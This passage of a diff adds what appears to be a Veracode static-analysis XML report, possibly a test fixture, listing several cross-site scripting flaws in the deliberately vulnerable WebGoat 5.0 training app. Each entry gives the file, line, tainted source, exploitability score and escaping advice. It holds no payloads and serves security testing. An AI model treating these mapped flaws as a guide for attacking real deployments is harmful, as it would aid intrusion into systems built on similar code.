+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
